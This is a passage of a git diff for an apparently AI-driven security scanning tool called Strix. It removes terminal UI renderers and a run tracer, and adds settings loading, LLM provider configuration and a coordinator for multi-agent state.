-1,52 +0,0 @@ -from typing import Any, ClassVar - -from textual.widgets import Static - -from .base_renderer import BaseToolRenderer -from .registry import register_tool_renderer - - -@register_tool_renderer -class CreateVulnerabilityReportRenderer(BaseToolRenderer): - tool_name: ClassVar[str] = "create_vulnerability_report" - css_classes: ClassVar[list[str]] = ["tool-call", "reporting-tool"] - - @classmethod - def render(cls, tool_data: dict[str, Any]) -> Static: - args = tool_data.get("args", {}) - - title = args.get("title", "") - severity = args.get("severity", "") - content = args.get("content", "") - - header = "🐞 [bold #ea580c]Vulnerability Report[/]" - - if title: - content_parts = [f"{header}\n [bold]{cls.escape_markup(title)}[/]"] - - if severity: - severity_color = cls._get_severity_color(severity.lower()) - content_parts.append( - f" [dim]Severity: [{severity_color}]{severity.upper()}[/{severity_color}][/]" - ) - - if content: - content_parts.append(f" [dim]{cls.escape_markup(content)}[/]") - - content_text = "\n".join(content_parts) - else: - content_text = f"{header}\n [dim]Creating report...[/]" - - css_classes = cls.get_css_classes("completed") - return Static(content_text, classes=css_classes) - - @classmethod - def _get_severity_color(cls, severity: str) -> str: - severity_colors = { - "critical": "#dc2626", - "high": "#ea580c", - "medium": "#d97706", - "low": "#65a30d", - "info": "#0284c7", - } - return severity_colors.get(severity, "#6b7280") diff --git a/strix/cli/tool_components/scan_info_renderer.py b/strix/cli/tool_components/scan_info_renderer.py deleted file mode 100644 index 161145e85..000000000 --- a/strix/cli/tool_components/scan_info_renderer.py +++ /dev/null @@ -1,57 +0,0 @@ -from typing import Any, ClassVar - -from textual.widgets import Static - -from .base_renderer import BaseToolRenderer -from .registry import register_tool_renderer - - -@register_tool_renderer -class ScanStartInfoRenderer(BaseToolRenderer): - tool_name: ClassVar[str] = "scan_start_info" - css_classes: ClassVar[list[str]] = ["tool-call", "scan-info-tool"] - - @classmethod - def render(cls, tool_data: dict[str, Any]) -> Static: - args = tool_data.get("args", {}) - status = tool_data.get("status", "unknown") - - target = args.get("target", {}) - - target_display = cls._build_target_display(target) - - content = f"🚀 Starting scan on {target_display}" - - css_classes = cls.get_css_classes(status) - return Static(content, classes=css_classes) - - @classmethod - def _build_target_display(cls, target: dict[str, Any]) -> str: - if target_url := target.get("target_url"): - return f"[bold #22c55e]{target_url}[/bold #22c55e]" - if target_repo := target.get("target_repo"): - return f"[bold #22c55e]{target_repo}[/bold #22c55e]" - if target_path := target.get("target_path"): - return f"[bold #22c55e]{target_path}[/bold #22c55e]" - return "[dim]unknown target[/dim]" - - -@register_tool_renderer -class SubagentStartInfoRenderer(BaseToolRenderer): - tool_name: ClassVar[str] = "subagent_start_info" - css_classes: ClassVar[list[str]] = ["tool-call", "subagent-info-tool"] - - @classmethod - def render(cls, tool_data: dict[str, Any]) -> Static: - args = tool_data.get("args", {}) - status = tool_data.get("status", "unknown") - - name = args.get("name", "Unknown Agent") - task = args.get("task", "") - - content = f"🤖 Spawned subagent [bold #22c55e]{name}[/bold #22c55e]" - if task: - content += f"\n Task: [dim]{task}[/dim]" - - css_classes = cls.get_css_classes(status) - return Static(content, classes=css_classes) diff --git a/strix/cli/tool_components/terminal_renderer.py b/strix/cli/tool_components/terminal_renderer.py deleted file mode 100644 index f44853cf0..000000000 --- a/strix/cli/tool_components/terminal_renderer.py +++ /dev/null @@ -1,99 +0,0 @@ -from typing import Any, ClassVar - -from textual.widgets import Static - -from .base_renderer import BaseToolRenderer -from .registry import register_tool_renderer - - -@register_tool_renderer -class TerminalRenderer(BaseToolRenderer): - tool_name: ClassVar[str] = "terminal_action" - css_classes: ClassVar[list[str]] = ["tool-call", "terminal-tool"] - - @classmethod - def render(cls, tool_data: dict[str, Any]) -> Static: - args = tool_data.get("args", {}) - status = tool_data.get("status", "unknown") - result = tool_data.get("result", {}) - - action = args.get("action", "unknown") - inputs = args.get("inputs", []) - terminal_id = args.get("terminal_id", "default") - - content = cls._build_sleek_content(action, inputs, terminal_id, result) - - css_classes = cls.get_css_classes(status) - return Static(content, classes=css_classes) - - @classmethod - def _build_sleek_content( - cls, - action: str, - inputs: list[str], - terminal_id: str, # noqa: ARG003 - result: dict[str, Any], # noqa: ARG003 - ) -> str: - terminal_icon = ">_" - - if action in {"create", "new_terminal"}: - command = cls._format_command(inputs) if inputs else "bash" - return f"{terminal_icon} [#22c55e]${command}[/]" - - if action == "send_input": - command = cls._format_command(inputs) - return f"{terminal_icon} [#22c55e]${command}[/]" - - if action == "wait": - return f"{terminal_icon} [dim]waiting...[/]" - - if action == "close": - return f"{terminal_icon} [dim]close[/]" - - if action == "get_snapshot": - return f"{terminal_icon} [dim]snapshot[/]" - - return f"{terminal_icon} [dim]{action}[/]" - - @classmethod - def _format_command(cls, inputs: list[str]) -> str: - if not inputs: - return "" - - command_parts = [] - - for input_item in inputs: - if input_item == "Enter": - break - if input_item.startswith("literal:"): - command_parts.append(input_item[8:]) - elif input_item in [ - "Space", - "Tab", - "Backspace", - "Up", - "Down", - "Left", - "Right", - "Home", - "End", - "PageUp", - "PageDown", - "Insert", - "Delete", - "Escape", - ] or input_item.startswith(("^", "C-", "S-", "A-", "F")): - if input_item == "Space": - command_parts.append(" ") - elif input_item == "Tab": - command_parts.append("\t") - continue - else: - command_parts.append(input_item) - - command = "".join(command_parts).strip() - - if len(command) > 200: - command = command[:197] + "..." - - return cls.escape_markup(command) if command else "bash" diff --git a/strix/cli/tool_components/user_message_renderer.py b/strix/cli/tool_components/user_message_renderer.py deleted file mode 100644 index 449457593..000000000 --- a/strix/cli/tool_components/user_message_renderer.py +++ /dev/null @@ -1,43 +0,0 @@ -from typing import Any, ClassVar - -from textual.widgets import Static - -from .base_renderer import BaseToolRenderer -from .registry import register_tool_renderer - - -@register_tool_renderer -class UserMessageRenderer(BaseToolRenderer): - tool_name: ClassVar[str] = "user_message" - css_classes: ClassVar[list[str]] = ["chat-message", "user-message"] - - @classmethod - def render(cls, message_data: dict[str, Any]) -> Static: - content = message_data.get("content", "") - - if not content: - return Static("", classes=cls.css_classes) - - if len(content) > 300: - content = content[:297] + "..." - - lines = content.split("\n") - bordered_lines = [f"[#3b82f6]▍[/#3b82f6] {line}" for line in lines] - bordered_content = "\n".join(bordered_lines) - formatted_content = f"[#3b82f6]▍[/#3b82f6] [bold]You:[/]\n{bordered_content}" - - css_classes = " ".join(cls.css_classes) - return Static(formatted_content, classes=css_classes) - - @classmethod - def render_simple(cls, content: str) -> str: - if not content: - return "" - - if len(content) > 300: - content = content[:297] + "..." - - lines = content.split("\n") - bordered_lines = [f"[#3b82f6]▍[/#3b82f6] {line}" for line in lines] - bordered_content = "\n".join(bordered_lines) - return f"[#3b82f6]▍[/#3b82f6] [bold]You:[/]\n{bordered_content}" diff --git a/strix/cli/tracer.py b/strix/cli/tracer.py deleted file mode 100644 index 4167beb1e..000000000 --- a/strix/cli/tracer.py +++ /dev/null @@ -1,307 +0,0 @@ -import logging -from datetime import UTC, datetime -from pathlib import Path -from typing import Any, Optional -from uuid import uuid4 - - -logger = logging.getLogger(__name__) - -_global_tracer: Optional["Tracer"] = None - - -def get_global_tracer() -> Optional["Tracer"]: - return _global_tracer - - -def set_global_tracer(tracer: "Tracer") -> None: - global _global_tracer # noqa: PLW0603 - _global_tracer = tracer - - -class Tracer: - def __init__(self, run_name: str | None = None): - self.run_name = run_name - self.run_id = run_name or f"run-{uuid4().hex[:8]}" - self.start_time = datetime.now(UTC).isoformat() - self.end_time: str | None = None - - self.agents: dict[str, dict[str, Any]] = {} - self.tool_executions: dict[int, dict[str, Any]] = {} - self.chat_messages: list[dict[str, Any]] = [] - - self.vulnerability_reports: list[dict[str, Any]] = [] - self.final_scan_result: str | None = None - - self.scan_results: dict[str, Any] | None = None - self.scan_config: dict[str, Any] | None = None - self.run_metadata: dict[str, Any] = { - "run_id": self.run_id, - "run_name": self.run_name, - "start_time": self.start_time, - "end_time": None, - "target": None, - "scan_type": None, - "status": "running", - } - self._run_dir: Path | None = None - self._next_execution_id = 1 - self._next_message_id = 1 - - def set_run_name(self, run_name: str) -> None: - self.run_name = run_name - self.run_id = run_name - - def get_run_dir(self) -> Path: - if self._run_dir is None: - runs_dir = Path.cwd() / "agent_runs" - runs_dir.mkdir(exist_ok=True) - - run_dir_name = self.run_name if self.run_name else self.run_id - self._run_dir = runs_dir / run_dir_name - self._run_dir.mkdir(exist_ok=True) - - return self._run_dir - - def add_vulnerability_report( - self, - title: str, - content: str, - severity: str, - ) -> str: - report_id = f"vuln-{len(self.vulnerability_reports) + 1:04d}" - - report = { - "id": report_id, - "title": title.strip(), - "content": content.strip(), - "severity": severity.lower().strip(), - "timestamp": datetime.now(UTC).strftime("%Y-%m-%d %H:%M:%S UTC"), - } - - self.vulnerability_reports.append(report) - logger.info(f"Added vulnerability report: {report_id} - {title}") - return report_id - - def set_final_scan_result( - self, - content: str, - success: bool = True, - ) -> None: - self.final_scan_result = content.strip() - - self.scan_results = { - "scan_completed": True, - "content": content, - "success": success, - } - - logger.info(f"Set final scan result: success={success}") - - def log_agent_creation( - self, agent_id: str, name: str, task: str, parent_id: str | None = None - ) -> None: - agent_data: dict[str, Any] = { - "id": agent_id, - "name": name, - "task": task, - "status": "running", - "parent_id": parent_id, - "created_at": datetime.now(UTC).isoformat(), - "updated_at": datetime.now(UTC).isoformat(), - "tool_executions": [], - } - - self.agents[agent_id] = agent_data - - def log_chat_message( - self, - content: str, - role: str, - agent_id: str | None = None, - metadata: dict[str, Any] | None = None, - ) -> int: - message_id = self._next_message_id - self._next_message_id += 1 - - message_data = { - "message_id": message_id, - "content": content, - "role": role, - "agent_id": agent_id, - "timestamp": datetime.now(UTC).isoformat(), - "metadata": metadata or {}, - } - - self.chat_messages.append(message_data) - return message_id - - def log_tool_execution_start(self, agent_id: str, tool_name: str, args: dict[str, Any]) -> int: - execution_id = self._next_execution_id - self._next_execution_id += 1 - - now = datetime.now(UTC).isoformat() - execution_data = { - "execution_id": execution_id, - "agent_id": agent_id, - "tool_name": tool_name, - "args": args, - "status": "running", - "result": None, - "timestamp": now, - "started_at": now, - "completed_at": None, - } - - self.tool_executions[execution_id] = execution_data - - if agent_id in self.agents: - self.agents[agent_id]["tool_executions"].append(execution_id) - - return execution_id - - def update_tool_execution( - self, execution_id: int, status: str, result: Any | None = None - ) -> None: - if execution_id in self.tool_executions: - self.tool_executions[execution_id]["status"] = status - self.tool_executions[execution_id]["result"] = result - self.tool_executions[execution_id]["completed_at"] = datetime.now(UTC).isoformat() - - def update_agent_status(self, agent_id: str, status: str) -> None: - if agent_id in self.agents: - self.agents[agent_id]["status"] = status - self.agents[agent_id]["updated_at"] = datetime.now(UTC).isoformat() - - def set_scan_config(self, config: dict[str, Any]) -> None: - self.scan_config = config - self.run_metadata.update( - { - "target": config.get("target", {}), - "scan_type": config.get("scan_type", "general"), - "user_instructions": config.get("user_instructions", ""), - "max_iterations": config.get("max_iterations", 200), - } - ) - - def save_run_data(self) -> None: - try: - run_dir = self.get_run_dir() - self.end_time = datetime.now(UTC).isoformat() - - if self.final_scan_result: - scan_report_file = run_dir / "scan_report.md" - with scan_report_file.open("w", encoding="utf-8") as f: - f.write("# Security Scan Report\n\n") - f.write( - f"**Generated:** {datetime.now(UTC).strftime('%Y-%m-%d %H:%M:%S UTC')}\n\n" - ) - f.write(f"{self.final_scan_result}\n") - logger.info(f"Saved final scan report to: {scan_report_file}") - - if self.vulnerability_reports: - vuln_dir = run_dir / "vulnerabilities" - vuln_dir.mkdir(exist_ok=True) - - severity_order = {"critical": 0, "high": 1, "medium": 2, "low": 3, "info": 4} - sorted_reports = sorted( - self.vulnerability_reports, - key=lambda x: (severity_order.get(x["severity"], 5), x["timestamp"]), - ) - - for report in sorted_reports: - vuln_file = vuln_dir / f"{report['id']}.md" - with vuln_file.open("w", encoding="utf-8") as f: - f.write(f"# {report['title']}\n\n") - f.write(f"**ID:** {report['id']}\n") - f.write(f"**Severity:** {report['severity'].upper()}\n") - f.write(f"**Found:** {report['timestamp']}\n\n") - f.write("## Description\n\n") - f.write(f"{report['content']}\n") - - vuln_csv_file = run_dir / "vulnerabilities.csv" - with vuln_csv_file.open("w", encoding="utf-8", newline="") as f: - import csv - - fieldnames = ["id", "title", "severity", "timestamp", "file"] - writer = csv.DictWriter(f, fieldnames=fieldnames) - writer.writeheader() - - for report in sorted_reports: - writer.writerow( - { - "id": report["id"], - "title": report["title"], - "severity": report["severity"].upper(), - "timestamp": report["timestamp"], - "file": f"vulnerabilities/{report['id']}.md", - } - ) - - logger.info( - f"Saved {len(self.vulnerability_reports)} vulnerability reports to: {vuln_dir}" - ) - logger.info(f"Saved vulnerability index to: {vuln_csv_file}") - - logger.info(f"📊 Essential scan data saved to: {run_dir}") - - except (OSError, RuntimeError): - logger.exception("Failed to save scan data") - - def _calculate_duration(self) -> float: - try: - start = datetime.fromisoformat(self.start_time.replace("Z", "+00:00")) - if self.end_time: - end = datetime.fromisoformat(self.end_time.replace("Z", "+00:00")) - return (end - start).total_seconds() - except (ValueError, TypeError): - pass - return 0.0 - - def get_agent_tools(self, agent_id: str) -> list[dict[str, Any]]: - return [ - exec_data - for exec_data in self.tool_executions.values() - if exec_data.get("agent_id") == agent_id - ] - - def get_real_tool_count(self) -> int: - return sum( - 1 - for exec_data in self.tool_executions.values() - if exec_data.get("tool_name") not in ["scan_start_info", "subagent_start_info"] - ) - - def get_total_llm_stats(self) -> dict[str, Any]: - from strix.tools.agents_graph.agents_graph_actions import _agent_instances - - total_stats = { - "input_tokens": 0, - "output_tokens": 0, - "cached_tokens": 0, - "cache_creation_tokens": 0, - "cost": 0.0, - "requests": 0, - "failed_requests": 0, - } - - for agent_instance in _agent_instances.values(): - if hasattr(agent_instance, "llm") and hasattr(agent_instance.llm, "_total_stats"): - agent_stats = agent_instance.llm._total_stats - total_stats["input_tokens"] += agent_stats.input_tokens - total_stats["output_tokens"] += agent_stats.output_tokens - total_stats["cached_tokens"] += agent_stats.cached_tokens - total_stats["cache_creation_tokens"] += agent_stats.cache_creation_tokens - total_stats["cost"] += agent_stats.cost - total_stats["requests"] += agent_stats.requests - total_stats["failed_requests"] += agent_stats.failed_requests - - total_stats["cost"] = round(total_stats["cost"], 4) - - return { - "total": total_stats, - "total_tokens": total_stats["input_tokens"] + total_stats["output_tokens"], - } - - def cleanup(self) -> None: - self.save_run_data() diff --git a/strix/config/__init__.py b/strix/config/__init__.py new file mode 100644 index 000000000..fda68602d --- /dev/null +++ b/strix/config/__init__.py @@ -0,0 +1,37 @@ +"""Strix application settings. + +Public surface: + +- :class:`Settings` — composite model. Get via :func:`load_settings`. +- :class:`LlmSettings`, :class:`RuntimeSettings`, :class:`TelemetrySettings`, + :class:`IntegrationSettings` — sub-models, attribute-accessed off + ``Settings``. +- :func:`load_settings` — memoized resolve (env > JSON file > defaults). +- :func:`apply_config_override` — switch the JSON source to a custom path. +- :func:`persist_current` — write currently-set env vars to the active file. +""" + +from strix.config.loader import ( + apply_config_override, + load_settings, + persist_current, +) +from strix.config.settings import ( + IntegrationSettings, + LlmSettings, + RuntimeSettings, + Settings, + TelemetrySettings, +) + + +__all__ = [ + "IntegrationSettings", + "LlmSettings", + "RuntimeSettings", + "Settings", + "TelemetrySettings", + "apply_config_override", + "load_settings", + "persist_current", +] diff --git a/strix/config/loader.py b/strix/config/loader.py new file mode 100644 index 000000000..9d9911558 --- /dev/null +++ b/strix/config/loader.py @@ -0,0 +1,126 @@ +"""Settings loader, override switch, and disk persistence.""" + +from __future__ import annotations + +import contextlib +import json +import logging +import os +from pathlib import Path +from typing import TYPE_CHECKING, Any + +from pydantic import AliasChoices, BaseModel + +from strix.config.settings import Settings + + +if TYPE_CHECKING: + from pydantic.fields import FieldInfo + + +logger = logging.getLogger(__name__) + + +_DEFAULT_PATH: Path = Path.home() / ".strix" / "cli-config.json" +_override: Path | None = None +_cached: Settings | None = None + + +def load_settings() -> Settings: + """Resolve settings from env + JSON file + defaults. Memoized. + + Precedence: env vars win, then the JSON file, then field defaults. + """ + global _cached # noqa: PLW0603 + if _cached is None: + source_path = _override or _DEFAULT_PATH + init_kwargs: dict[str, Any] = _read_json_overrides(source_path) + _cached = Settings(**init_kwargs) + logger.debug( + "load_settings: resolved (override=%s, file_used=%s, json_keys=%d)", + _override is not None, + source_path.exists(), + sum(len(v) for v in init_kwargs.values()), + ) + return _cached + + +def apply_config_override(path: Path) -> None: + """Switch the JSON source to ``path`` and invalidate the cache.""" + global _override, _cached # noqa: PLW0603 + _override = path + _cached = None + logger.info("config override applied: %s", path) + + +def persist_current() -> None: + """Write currently-set env vars to the active config file (0o600).""" + s = load_settings() + target = _override or _DEFAULT_PATH + target.parent.mkdir(parents=True, exist_ok=True) + + env_block: dict[str, str] = {} + for sub_name in s.model_fields: + sub_model = getattr(s, sub_name) + if not isinstance(sub_model, BaseModel): + continue + for finfo in type(sub_model).model_fields.values(): + for alias in _aliases_for(finfo): + value = os.environ.get(alias.upper()) + if value: + env_block[alias.upper()] = value + break + + target.write_text(json.dumps({"env": env_block}, indent=2), encoding="utf-8") + with contextlib.suppress(OSError): + target.chmod(0o600) + + +def _aliases_for(finfo: FieldInfo) -> list[str]: + """Collect every env-var name that should populate ``finfo``.""" + aliases: list[str] = [] + if finfo.alias: + aliases.append(finfo.alias) + va = finfo.validation_alias + if isinstance(va, AliasChoices): + aliases.extend(c for c in va.choices if isinstance(c, str)) + elif isinstance(va, str): + aliases.append(va) + return aliases + + +def _read_json_overrides(path: Path) -> dict[str, dict[str, Any]]: + """Read ``{"env": {...}}`` from ``path`` and remap to nested kwargs. + + Only includes keys whose env var is NOT already set, so env always + wins over the persisted file. + """ + if not path.exists(): + return {} + try: + data = json.loads(path.read_text(encoding="utf-8")) + except (json.JSONDecodeError, OSError): + return {} + env_block = data.get("env", {}) if isinstance(data, dict) else {} + if not isinstance(env_block, dict): + return {} + + env_block_upper = {str(k).upper(): v for k, v in env_block.items()} + + nested: dict[str, dict[str, Any]] = {} + for sub_name, sub_finfo in Settings.model_fields.items(): + sub_cls = sub_finfo.annotation + if not (isinstance(sub_cls, type) and issubclass(sub_cls, BaseModel)): + continue + sub_data: dict[str, Any] = {} + for fname, finfo in sub_cls.model_fields.items(): + for alias in _aliases_for(finfo): + key = alias.upper() + if key in os.environ: + break # env wins; skip JSON for this field + if key in env_block_upper: + sub_data[fname] = env_block_upper[key] + break + if sub_data: + nested[sub_name] = sub_data + return nested diff --git a/strix/config/models.py b/strix/config/models.py new file mode 100644 index 000000000..3cca9fb38 --- /dev/null +++ b/strix/config/models.py @@ -0,0 +1,166 @@ +"""SDK model configuration helpers.""" + +from __future__ import annotations + +import os +from typing import TYPE_CHECKING + +from agents import set_default_openai_api, set_default_openai_key, set_tracing_disabled +from agents.models.multi_provider import MultiProvider +from agents.retry import ( + ModelRetryBackoffSettings, + ModelRetrySettings, + retry_policies, +) + + +if TYPE_CHECKING: + from agents.models.interface import ModelProvider + + from strix.config.settings import Settings + + +class StrixProvider(MultiProvider): + """Route any non-OpenAI prefix through LiteLLM with the prefix preserved, + so users type ``deepseek/deepseek-chat`` rather than + ``litellm/deepseek/deepseek-chat``. + """ + + def _resolve_prefixed_model( + self, + *, + original_model_name: str, + prefix: str, + stripped_model_name: str | None, + ) -> tuple[ModelProvider, str | None]: + if prefix in {"openai", "litellm", "any-llm"}: + return super()._resolve_prefixed_model( + original_model_name=original_model_name, + prefix=prefix, + stripped_model_name=stripped_model_name, + ) + if prefix == "ollama" and stripped_model_name: + return self._get_fallback_provider("litellm"), f"ollama_chat/{stripped_model_name}" + return self._get_fallback_provider("litellm"), original_model_name + + +DEFAULT_MODEL_RETRY = ModelRetrySettings( + max_retries=5, + backoff=ModelRetryBackoffSettings( + initial_delay=2.0, + max_delay=90.0, + multiplier=2.0, + jitter=False, + ), + policy=retry_policies.any( + retry_policies.provider_suggested(), + retry_policies.network_error(), + retry_policies.http_status((429, 500, 502, 503, 504)), + ), +) + + +def configure_sdk_model_defaults(settings: Settings) -> None: + """Apply Strix config to SDK-native defaults.""" + llm = settings.llm + set_tracing_disabled(True) + _configure_litellm_compatibility() + if llm.api_key: + set_default_openai_key(llm.api_key, use_for_tracing=False) + _configure_litellm_default("api_key", llm.api_key) + _mirror_api_key_to_provider_env(llm.model, llm.api_key) + if llm.api_base: + os.environ["OPENAI_BASE_URL"] = llm.api_base + _configure_litellm_default("api_base", llm.api_base) + set_default_openai_api("chat_completions") + else: + set_default_openai_api("responses") + + +def _mirror_api_key_to_provider_env(model_name: str | None, api_key: str) -> None: + if not model_name: + return + import litellm + + name = model_name.strip() + for prefix in ("litellm/", "any-llm/"): + if name.lower().startswith(prefix): + name = name[len(prefix) :] + break + try: + report = litellm.validate_environment(model=name.lower()) + except Exception: # noqa: BLE001 + return + for env_key in report.get("missing_keys") or []: + if env_key.endswith("_API_KEY"): + os.environ.setdefault(env_key, api_key) + + +def _configure_litellm_compatibility() -> None: + """Apply LiteLLM compatibility, privacy, and callback settings.""" + import litellm + + litellm.drop_params = True + litellm.modify_params = True + litellm.turn_off_message_logging = True + # Strix uses LiteLLM's success callback to capture provider-reported cost. + # Disabling streaming logging also disables that callback for streamed calls. + litellm.disable_streaming_logging = False + litellm.suppress_debug_info = True + + _register_litellm_cost_callback() + + +def _register_litellm_cost_callback() -> None: + import litellm + + from strix.report.state import litellm_cost_callback + + for bucket_name in ("success_callback", "_async_success_callback"): + bucket = getattr(litellm, bucket_name, None) + if not isinstance(bucket, list): + continue + if litellm_cost_callback in bucket: + continue + bucket.append(litellm_cost_callback) + + +def _configure_litellm_default(name: str, value: str) -> None: + """Set LiteLLM's module-level defaults without adding a provider wrapper.""" + import litellm + + setattr(litellm, name, value) + + +def uses_chat_completions_tool_schema(model_name: str, settings: Settings) -> bool: + """Return whether the resolved SDK route can only receive JSON function tools.""" + model = model_name.strip().lower() + if "/" in model and not model.startswith("openai/"): + return True + if settings.llm.api_base: + return True + return not model_supports_reasoning(model_name) + + +def model_supports_reasoning(model_name: str) -> bool: + import litellm + + name = model_name.strip().lower() + for prefix in ("litellm/", "any-llm/", "openai/"): + if name.startswith(prefix): + name = name[len(prefix) :] + break + entry = litellm.model_cost.get(name) + if entry is None and "/" in name: + entry = litellm.model_cost.get(name.rsplit("/", 1)[1]) + return bool(entry and entry.get("supports_reasoning")) + + +def is_known_openai_bare_model(model_name: str) -> bool: + import litellm + + name = model_name.strip().lower() + if not name or "/" in name: + return False + entry = litellm.model_cost.get(name) + return bool(entry and entry.get("litellm_provider") == "openai") diff --git a/strix/config/settings.py b/strix/config/settings.py new file mode 100644 index 000000000..91fbdef14 --- /dev/null +++ b/strix/config/settings.py @@ -0,0 +1,75 @@ +"""Strix application settings — pydantic-settings powered.""" + +from __future__ import annotations + +from typing import Literal + +from pydantic import AliasChoices, Field +from pydantic_settings import BaseSettings, SettingsConfigDict + + +ReasoningEffort = Literal["none", "minimal", "low", "medium", "high", "xhigh"] + +_BASE_CONFIG = SettingsConfigDict( + case_sensitive=False, + populate_by_name=True, + extra="ignore", +) + + +class LlmSettings(BaseSettings): + model_config = _BASE_CONFIG + + model: str | None = Field(default=None, alias="STRIX_LLM") + api_key: str | None = Field( + default=None, + validation_alias=AliasChoices("LLM_API_KEY", "OPENAI_API_KEY"), + ) + api_base: str | None = Field( + default=None, + validation_alias=AliasChoices( + "LLM_API_BASE", + "OPENAI_API_BASE", + "OPENAI_BASE_URL", + "LITELLM_BASE_URL", + "OLLAMA_API_BASE", + ), + ) + reasoning_effort: ReasoningEffort = Field(default="high", alias="STRIX_REASONING_EFFORT") + timeout: int = Field(default=300, alias="LLM_TIMEOUT") + + +class RuntimeSettings(BaseSettings): + model_config = _BASE_CONFIG + + image: str = Field( + default="ghcr.io/usestrix/strix-sandbox:1.0.0", + alias="STRIX_IMAGE", + ) + backend: str = Field(default="docker", alias="STRIX_RUNTIME_BACKEND") + # Hard cap on a local target's size before we refuse to stream it into the + # sandbox file-by-file (the SDK copies every file individually, which stalls + # on large repos). Above this, the user must bind-mount via ``--mount``. + # Set to 0 (or less) to disable the pre-flight check entirely. + max_local_copy_mb: int = Field(default=1024, alias="STRIX_MAX_LOCAL_COPY_MB") + + +class TelemetrySettings(BaseSettings): + model_config = _BASE_CONFIG + + enabled: bool = Field(default=True, alias="STRIX_TELEMETRY") + + +class IntegrationSettings(BaseSettings): + model_config = _BASE_CONFIG + + perplexity_api_key: str | None = Field(default=None, alias="PERPLEXITY_API_KEY") + + +class Settings(BaseSettings): + model_config = _BASE_CONFIG + + llm: LlmSettings = Field(default_factory=LlmSettings) + runtime: RuntimeSettings = Field(default_factory=RuntimeSettings) + telemetry: TelemetrySettings = Field(default_factory=TelemetrySettings) + integrations: IntegrationSettings = Field(default_factory=IntegrationSettings) diff --git a/strix/core/__init__.py b/strix/core/__init__.py new file mode 100644 index 000000000..8e07f9d9d --- /dev/null +++ b/strix/core/__init__.py @@ -0,0 +1 @@ +"""Strix scan runtime core.""" diff --git a/strix/core/agents.py b/strix/core/agents.py new file mode 100644 index 000000000..24a7185f5 --- /dev/null +++ b/strix/core/agents.py @@ -0,0 +1,323 @@ +"""SDK-native state for Strix's addressable agent graph.""" + +from __future__ import annotations + +import asyncio +import json +import logging +import tempfile +from dataclasses import dataclass, field +from pathlib import Path +from typing import TYPE_CHECKING, Any, Literal, cast + + +if TYPE_CHECKING: + from agents.items import TResponseInputItem + from agents.memory import Session + + +logger = logging.getLogger(__name__) + +Status = Literal["running", "waiting", "completed", "stopped", "crashed", "failed"] + + +@dataclass(slots=True) +class AgentRuntime: + session: Session | None = None + task: asyncio.Task[Any] | None = None + stream: Any | None = None + interrupt_on_message: bool = False + wake: asyncio.Event = field(default_factory=asyncio.Event) + + +class AgentCoordinator: + """Single owner for graph state, SDK runtimes, messages, and resume snapshots.""" + + def __init__(self) -> None: + self.statuses: dict[str, Status] = {} + self.parent_of: dict[str, str | None] = {} + self.names: dict[str, str] = {} + self.metadata: dict[str, dict[str, Any]] = {} + self.pending_counts: dict[str, int] = {} + self.runtimes: dict[str, AgentRuntime] = {} + self._lock = asyncio.Lock() + self._snapshot_path: Path | None = None + self.is_shutting_down = False + self._budget_stopped = False + + def set_snapshot_path(self, path: Path) -> None: + self._snapshot_path = path + + def mark_shutting_down(self) -> None: + self.is_shutting_down = True + + @property + def budget_stopped(self) -> bool: + return self._budget_stopped + + async def trigger_budget_stop(self) -> None: + """Signal a scan-wide budget stop and wake every parked agent so it exits.""" + async with self._lock: + self._budget_stopped = True + for runtime in self.runtimes.values(): + runtime.wake.set() + + async def register( + self, + agent_id: str, + name: str, + parent_id: str | None, + *, + task: str | None = None, + skills: list[str] | None = None, + ) -> None: + async with self._lock: + self.statuses[agent_id] = "running" + self.parent_of[agent_id] = parent_id + self.names[agent_id] = name + self.pending_counts.setdefault(agent_id, 0) + self.metadata[agent_id] = { + "task": task or "", + "skills": list(skills or []), + } + self.runtimes.setdefault(agent_id, AgentRuntime()) + logger.info("agent.register %s (%s) parent=%s", agent_id, name, parent_id or "-") + await self._maybe_snapshot() + + async def attach_runtime( + self, + agent_id: str, + *, + session: Session | None = None, + task: asyncio.Task[Any] | None = None, + interrupt_on_message: bool | None = None, + ) -> None: + async with self._lock: + runtime = self.runtimes.setdefault(agent_id, AgentRuntime()) + if session is not None: + runtime.session = session + if task is not None: + runtime.task = task + if interrupt_on_message is not None: + runtime.interrupt_on_message = interrupt_on_message + + async def mark_running(self, agent_id: str) -> None: + async with self._lock: + if agent_id in self.statuses: + self.statuses[agent_id] = "running" + await self._maybe_snapshot() + + async def park_waiting(self, agent_id: str) -> None: + await self.set_status(agent_id, "waiting") + + async def set_status(self, agent_id: str, status: Status | str) -> None: + async with self._lock: + if agent_id not in self.statuses: + return + self.statuses[agent_id] = status # type: ignore[assignment] + runtime = self.runtimes.setdefault(agent_id, AgentRuntime()) + runtime.wake.set() + logger.info("agent.status %s=%s", agent_id, status) + await self._maybe_snapshot() + + async def send(self, target_agent_id: str, message: dict[str, Any]) -> bool: + """Deliver a user/peer message by appending it to the target SDK session.""" + async with self._lock: + if target_agent_id not in self.statuses: + logger.debug("agent.send dropped unknown target=%s", target_agent_id) + return False + runtime = self.runtimes.setdefault(target_agent_id, AgentRuntime()) + session = runtime.session + stream = runtime.stream + interrupt = runtime.interrupt_on_message + if session is None: + logger.warning( + "agent.send dropped target=%s because its SDK session is not attached", + target_agent_id, + ) + return False + try: + await session.add_items([self._message_to_session_item(message)]) + except Exception: + logger.exception( + "agent.send failed to append to SDK session target=%s", + target_agent_id, + ) + return False + async with self._lock: + self.pending_counts[target_agent_id] = self.pending_counts.get(target_agent_id, 0) + 1 + self.runtimes.setdefault(target_agent_id, AgentRuntime()).wake.set() + if stream is not None and interrupt: + stream.cancel(mode="immediate") + await self._maybe_snapshot() + return True + + async def wait_for_message(self, agent_id: str) -> None: + while True: + async with self._lock: + if self._budget_stopped or self.pending_counts.get(agent_id, 0) > 0: + return + wake = self.runtimes.setdefault(agent_id, AgentRuntime()).wake + wake.clear() + await wake.wait() + + async def consume_pending( + self, + agent_id: str, + *, + include_items: bool = False, + ) -> tuple[int, list[Any]]: + async with self._lock: + count = self.pending_counts.get(agent_id, 0) + self.pending_counts[agent_id] = 0 + session = self.runtimes.get(agent_id, AgentRuntime()).session + if count <= 0: + return 0, [] + await self._maybe_snapshot() + if not include_items or session is None: + return count, [] + items = await session.get_items() + return count, list(items[-count:]) + + async def request_stop(self, agent_id: str) -> None: + async with self._lock: + if agent_id not in self.statuses: + return + self.statuses[agent_id] = "stopped" + runtime = self.runtimes.setdefault(agent_id, AgentRuntime()) + runtime.wake.set() + stream = runtime.stream + if stream is not None: + stream.cancel(mode="after_turn") + await self._maybe_snapshot() + + async def cancel_descendants(self, agent_id: str) -> None: + tasks = [] + async with 